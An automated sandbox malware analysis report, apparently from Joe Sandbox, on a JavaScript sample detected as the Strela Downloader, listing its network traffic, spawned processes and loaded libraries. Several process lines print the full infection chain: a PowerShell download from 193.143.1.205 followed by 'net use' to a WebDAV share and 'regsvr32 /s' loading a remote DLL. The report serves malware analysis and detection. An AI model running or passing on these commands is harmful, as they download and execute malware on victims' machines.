Source: global traffic

TCP traffic: 192.168.2.9:49767 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49753 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1361374957.0000021DF6042000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1361852702.0000021DF7DBE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1361374957.0000021DF6028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1429200013.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437595011.00000284FBAC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1421499523.00000284FBB1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437670175.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1429200013.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1437670175.00000284FBAFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: svchost.exe, 00000009.00000002.2652533171.00000279E788C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1430146505.00000279E7A40000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7672, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 247624346306918832.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ryattwfo.wmv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\247624346306918832.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,18169422624924025959,8207642795001843680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14581286116933.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,18169422624924025959,8207642795001843680,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
